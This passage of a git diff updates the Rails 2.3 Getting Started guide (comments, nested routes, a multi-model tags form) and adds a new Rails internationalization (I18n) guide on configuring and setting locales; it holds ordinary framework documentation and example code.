Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:
-[source, shell]
--------------------------------------------------------
-$ script/generate model Comment commenter:string body:text post:references
--------------------------------------------------------
+<shell>
+$ script/generate model Comment commenter:string body:text
+ post:references
+</shell>
This command will generate four files:
* +app/models/comment.rb+ - The model
-* +db/migrate/20081013214407_create_comments.rb - The migration
+* +db/migrate/20091013214407_create_comments.rb+ - The migration
* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
First, take a look at +comment.rb+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Comment < ActiveRecord::Base
belongs_to :post
end
--------------------------------------------------------
+</ruby>
This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide.
In addition to the model, Rails has also made a migration to create the corresponding database table:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreateComments < ActiveRecord::Migration
def self.up
create_table :comments do |t|
@@ -927,18 +895,17 @@ class CreateComments < ActiveRecord::Migration
drop_table :comments
end
end
--------------------------------------------------------
+</ruby>
The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rake db:migrate
--------------------------------------------------------
+</shell>
-Rails is smart enough to only execute the migrations that have not already been run against this particular database.
+Rails is smart enough to only execute the migrations that have not already been run against the current database.
-=== Associating Models
+h4. Associating Models
Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:
@@ -947,51 +914,45 @@ Active Record associations let you easily declare the relationship between two m
In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Comment < ActiveRecord::Base
belongs_to :post
end
--------------------------------------------------------
+</ruby>
You'll need to edit the +post.rb+ file to add the other side of the association:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Post < ActiveRecord::Base
validates_presence_of :name, :title
validates_length_of :title, :minimum => 5
has_many :comments
end
--------------------------------------------------------
+</ruby>
These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+.
-TIP: For more information on Active Record associations, see the link:../association_basics.html[Active Record Associations] guide.
+TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide.
-=== Adding a Route
+h4. Adding a Route
-_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+. Then edit it as follows:
+_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+ (it will be right at the top of the file). Then edit it as follows:
-[source, ruby]
--------------------------------------------------------
-map.resources :posts do |post|
- post.resources :comments
-end
--------------------------------------------------------
+<ruby>
+map.resources :posts, :has_many => :comments
+</ruby>
This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments.
-TIP: For more information on routing, see the link:../routing_outside_in.html[Rails Routing from the Outside In] guide.
+TIP: For more information on routing, see the "Rails Routing from the Outside In":routing_outside_in.html guide.
-=== Generating a Controller
+h4. Generating a Controller
With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:
-[source, shell]
--------------------------------------------------------
+<shell>
$ script/generate controller Comments index show new edit
--------------------------------------------------------
+</shell>
This creates seven files:
@@ -1003,10 +964,9 @@ This creates seven files:
* +app/views/comments/edit.html.erb+ - The view for the edit action
* +test/functional/comments_controller_test.rb+ - The functional tests for the controller
-The controller will be generated with empty methods for each action that you specified in the call to +script/generate controller+:
+The controller will be generated with empty methods and views for each action that you specified in the call to +script/generate controller+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CommentsController < ApplicationController
def index
end
@@ -1021,12 +981,11 @@ class CommentsController < ApplicationController
end
end
--------------------------------------------------------
+</ruby>
You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CommentsController < ApplicationController
def index
@post = Post.find(params[:post_id])
@@ -1052,7 +1011,7 @@ class CommentsController < ApplicationController
render :action => "new"
end
end
-
+
def edit
@post = Post.find(params[:post_id])
@comment = @post.comments.find(params[:id])
@@ -1067,29 +1026,38 @@ class CommentsController < ApplicationController
render :action => "edit"
end
end
-
+
+ def destroy
+ @post = Post.find(params[:post_id])
+ @comment = Comment.find(params[:id])
+ @comment.destroy
+
+ respond_to do |format|
+ format.html { redirect_to post_comments_path(@post) }
+ format.xml { head :ok }
+ end
+ end
+
end
--------------------------------------------------------
+</ruby>
You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.
In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls
-[source, ruby]
--------------------------------------------------------
+<ruby>
@comment = @post.comments.build
--------------------------------------------------------
+</ruby>
This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation.
-=== Building Views
+h4. Building Views
Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
-The +index.html.erb+ view:
+The +views/comments/index.html.erb+ view:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>Comments for <%= @post.title %></h1>
<table>
@@ -1103,8 +1071,13 @@ The +index.html.erb+ view:
<td><%=h comment.commenter %></td>
<td><%=h comment.body %></td>
<td><%= link_to 'Show', post_comment_path(@post, comment) %></td>
- <td><%= link_to 'Edit', edit_post_comment_path(@post, comment) %></td>
- <td><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %></td>
+ <td>
+ <%= link_to 'Edit', edit_post_comment_path(@post, comment) %>
+ </td>
+ <td>
+ <%= link_to 'Destroy', post_comment_path(@post, comment),
+ :confirm => 'Are you sure?', :method => :delete %>
+ </td>
</tr>
<% end %>
</table>
@@ -1113,12 +1086,11 @@ The +index.html.erb+ view:
<%= link_to 'New comment', new_post_comment_path(@post) %>
<%= link_to 'Back to Post', @post %>
--------------------------------------------------------
+</erb>
-The +new.html.erb+ view:
+The +views/comments/new.html.erb+ view:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>New comment</h1>
<% form_for([@post, @comment]) do |f| %>
@@ -1138,12 +1110,11 @@ The +new.html.erb+ view:
<% end %>
<%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
-The +show.html.erb+ view:
+The +views/comments/show.html.erb+ view:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>Comment on <%= @post.title %></h1>
<p>
@@ -1158,12 +1129,11 @@ The +show.html.erb+ view:
<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
<%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
-The +edit.html.erb+ view:
+The +views/comments/edit.html.erb+ view:
-[source, ruby]
--------------------------------------------------------
+<erb>
<h1>Editing comment</h1>
<% form_for([@post, @comment]) do |f| %>
@@ -1184,16 +1154,15 @@ The +edit.html.erb+ view:
<%= link_to 'Show', post_comment_path(@post, @comment) %> |
<%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
-Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.
+Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time.
-=== Hooking Comments to Posts
+h4. Hooking Comments to Posts
-As a final step, I'll modify the +show.html.erb+ view for a post to show the comments on that post, and to allow managing those comments:
+As a next step, I'll modify the +views/posts/show.html.erb+ view to show the comments on that post, and to allow managing those comments:
-[source, ruby]
--------------------------------------------------------
+<erb>
<p>
<b>Name:</b>
<%=h @post.name %>
@@ -1211,60 +1180,118 @@ As a final step, I'll modify the +show.html.erb+ view for a post to show the com
<h2>Comments</h2>
<% @post.comments.each do |c| %>
- <p>
- <b>Commenter:</b>
- <%=h c.commenter %>
- </p>
-
- <p>
- <b>Comment:</b>
- <%=h c.body %>
- </p>
+ <p>
+ <b>Commenter:</b>
+ <%=h c.commenter %>
+ </p>
+
+ <p>
+ <b>Comment:</b>
+ <%=h c.body %>
+ </p>
<% end %>
-<%= link_to 'Edit', edit_post_path(@post) %> |
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %> |
<%= link_to 'Manage Comments', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+.
-== What's Next?
+h3. Building a Multi-Model Form
-Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
+Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let's add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:
-* The link:http://guides.rubyonrails.org/[Ruby On Rails guides]
-* The link:http://groups.google.com/group/rubyonrails-talk[Ruby on Rails mailing list]
-* The #rubyonrails channel on irc.freenode.net
-* The link:http://wiki.rubyonrails.org/rails[Rails wiki]
+<shell>
+$ script/generate model tag name:string post:references
+</shell>
-Rails also comes with built-in help that you can generate using the rake command-line utility:
+Run the migration to create the database table:
-* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides.
-* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation.
+<shell>
+$ rake db:migrate
+</shell>
-== Changelog ==
+Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails that you intend to edit tags via posts:
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2[Lighthouse ticket]
+<ruby>
+class Post < ActiveRecord::Base
+ validates_presence_of :name, :title
+ validates_length_of :title, :minimum => 5
+ has_many :comments
+ has_many :tags
-* November 3, 2008: Formatting patch from Dave Rothlisberger
-* November 1, 2008: First approved version by link:../authors.html#mgunderloy[Mike Gunderloy]
-* October 16, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 13, 2008: First complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 12, 2008: More detail, rearrangement, editing by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* September 8, 2008: initial version by James Miller (not yet approved for publication)
+ accepts_nested_attributes_for :tags, :allow_destroy => :true ,
+ :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
+end
+</ruby>
+The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in.
+You'll also need to modify +views/posts/_form.html.erb+ to include the tags:
+<erb>
+<% @post.tags.build if @post.tags.empty? %>
+<% form_for(@post) do |post_form| %>
+ <%= post_form.error_messages %>
+ <p>
+ <%= post_form.label :name %><br />
+ <%= post_form.text_field :name %>
+ </p>
+ <p>
+ <%= post_form.label :title, "title" %><br />
+ <%= post_form.text_field :title %>
+ </p>
+ <p>
+ <%= post_form.label :content %><br />
+ <%= post_form.text_area :content %>
+ </p>
+ <h2>Tags</h2>
+ <% post_form.fields_for :tags do |tag_form| %>
+ <p>
+ <%= tag_form.label :name, 'Tag:' %>
+ <%= tag_form.text_field :name %>
+ </p>
+ <% unless tag_form.object.nil? || tag_form.object.new_record? %>
+ <p>
+ <%= tag_form.label :_delete, 'Remove:' %>
+ <%= tag_form.check_box :_delete %>
+ </p>
+ <% end %>
+ <% end %>
+ <p>
+ <%= post_form.submit "Save" %>
+ </p>
+<% end %>
+</erb>
+With these changes in place, you'll find that you can edit a post and its tags directly on the same view.
+NOTE. You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the "nested model sample application":http://github.com/alloy/complex-form-examples/tree/nested_attributes.
+h3. What's Next?
+Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
+* The "Ruby On Rails guides":http://guides.rubyonrails.org
+* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
+* The #rubyonrails channel on irc.freenode.net
+Rails also comes with built-in help that you can generate using the rake command-line utility:
+* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides.
+* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation.
+h3. Changelog
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2
+* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy
+* November 3, 2008: Formatting patch from Dave Rothlisberger
+* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy
+* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* September 8, 2008: initial version by James Miller (not yet approved for publication)
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
new file mode 100644
index 0000000000..103ccb1c7a
--- /dev/null
+++ b/railties/guides/source/i18n.textile
@@ -0,0 +1,912 @@
+h2. Rails Internationalization (I18n) API
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n
+* Tell Rails where to find locale dictionaries
+* Tell Rails how to set, preserve and switch locale
+
+In the process of _localizing_ your application you'll probably want to do following three things:
+
+* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc
+* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere
+
+This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.
+
+endprologue.
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
+
+h3. How I18n in Ruby on Rails Works
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
+
+h4. The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework -- a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
+
+h4. The Public I18n API
+
+The most important methods of the I18n API are:
+
+<ruby>
+translate # Lookup text translations
+localize # Localize Date and Time objects to local formats
+</ruby>
+
+These have the aliases #t and #l so you can use them like this:
+
+<ruby>
+I18n.t 'store.title'
+I18n.l Time.now
+</ruby>
+
+There are also attribute readers and writers for the following attributes:
+
+<ruby>
+load_path # Announce your custom translation files
+locale # Get and set the current locale
+default_locale # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend # Use a different backend
+</ruby>
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+h3. Setup the Rails Application for Internationalization
+
+There are just a few simple steps to get up and running with I18n support for your application.
+
+h4. Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
+
+The default +en.yml+ locale in this directory contains a sample pair of translation strings:
+
+<ruby>
+en:
+ hello: "Hello world"
+</ruby>
+
+This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+
+The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
+
+NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":http://github.com/joshmh/globalize2/tree/master may help you implement it.
+
+The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default +environment.rb+ files has instruction how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+
+<ruby>
+# The internationalization framework can be changed
+# to have another default locale (standard is :en) or more load paths.
+# All files from config/locales/*.rb,yml are added automatically.
+# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
+# config.i18n.default_locale = :de
+</ruby>
+
+h4. Optional: Custom I18n Configuration Setup
+
+For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too.
+
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+
+<ruby>
+# in config/initializer/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale',
+ '*.{rb,yml}') ]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+</ruby>
+
+h4. Setting and Passing the Locale
+
+If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests.
+
+However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below.
+
+The _setting part_ is easy. You can set the locale in a +before_filter+ in the ApplicationController like this:
+
+<ruby>
+before_filter :set_locale
+def set_locale
+ # if params[:locale] is nil then I18n.default_locale will be used
+ I18n.locale = params[:locale]
+end
+</ruby>
+
+This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
+
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
+
+IMPORTANT: The following examples rely on having available locales loaded into your application as an array of strings like +["en", "es", "gr"]+. This is not included in the current version of Rails 2.2 -- the forthcoming Rails version 2.3 will contain the easy accessor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7c8f3f89e9b6b921fa62ed66cb92f3af4 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.)
+
+So, for having available locales easily accessible in Rails 2.2, we have to include this support manually in an initializer, like this:
+
+<ruby>
+# config/initializers/available_locales.rb
+#
+# Get loaded locales conveniently
+# See http://rails-i18n.org/wiki/pages/i18n-available_locales
+module I18n
+ class << self
+ def available_locales; backend.available_locales; end
+ end
+ module Backend
+ class Simple
+ def available_locales; translations.keys.collect { |l| l.to_s }.sort; end
+ end
+ end
+end
+
+# You need to "force-initialize" loaded locales
+I18n.backend.send(:init_translations)
+
+AVAILABLE_LOCALES = I18n.backend.available_locales
+RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}"
+</ruby>
+
+You can then wrap the constant for easy access in ApplicationController:
+
+<ruby>
+class ApplicationController < ActionController::Base
+ def available_locales; AVAILABLE_LOCALES; end
+end
+</ruby>
+
+h4. Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL
+* People intuitively grasp in which language the content will be displayed
+* It is very trivial to implement in Rails
+* Search engines seem to like that content in different languages lives at different, inter-linked domains
+
+You can implement it like this in your ApplicationController:
+
+<ruby>
+before_filter :set_locale
+def set_locale
+ I18n.locale = extract_locale_from_uri
+end
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+# 127.0.0.1 application.com
+# 127.0.0.1 application.it
+# 127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+ parsed_locale = request.host.split('.').last
+ (available_locales.include? parsed_locale) ? parsed_locale : nil
+end
+</ruby>
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+<ruby>
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+# 127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+ parsed_locale = request.subdomains.first
+ (available_locales.include? parsed_locale) ? parsed_locale : nil
+end
+</ruby>
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+<ruby>
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+</ruby>
+
+assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+h4. Setting the Locale from the URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
+
+We can include something like this in our ApplicationController then:
+
+<ruby>
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+ logger.debug "default_url_options is passed options: #{options.inspect}\n"
+ { :locale => I18n.locale }
+end
+</ruby>
+
+Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way:
+
+<ruby>
+# config/routes.rb
+map.resources :books, :path_prefix => '/:locale'
+</ruby>
+
+Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+<ruby>
+# config/routes.rb
+map.dashboard '/:locale', :controller => "dashboard"
+</ruby>
+
+Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.)
+
+IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
+
+h4. Setting the Locale from the Client Supplied Information
+
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' prefered language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
+
+
+h5. Using +Accept-Language+
+
+One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
+
+A trivial implementation of using an +Accept-Language+ header would be:
+
+<ruby>
+def set_locale
+ logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+ I18n.locale = extract_locale_from_accept_language_header
+ logger.debug "* Locale set to '#{I18n.locale}'"
+end
+private
+def extract_locale_from_accept_language_header
+ request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+</ruby>
+
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":http://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb.
+
+h5. Using GeoIP (or Similar) Database
+
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your prefered locale for the country/region/city returned.
+
+h5. User Profile
+
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+
+h3. Internationalizing your Application
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
+
+Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide neccessary translations for these abstracts.
+
+You most probably have something like this in one of your applications:
+
+<ruby>
+# config/routes.rb
+ActionController::Routing::Routes.draw do |map|
+ map.root :controller => 'home', :action => 'index'
+end
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+ def index
+ flash[:notice] = "Hello flash!"
+ end
+end
+
+# app/views/home/index.html.erb
+<h1>Hello world!</h1>
+<p><%= flash[:notice] %></p>
+</ruby>
+
+!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
+
+h4. Adding Translations
+
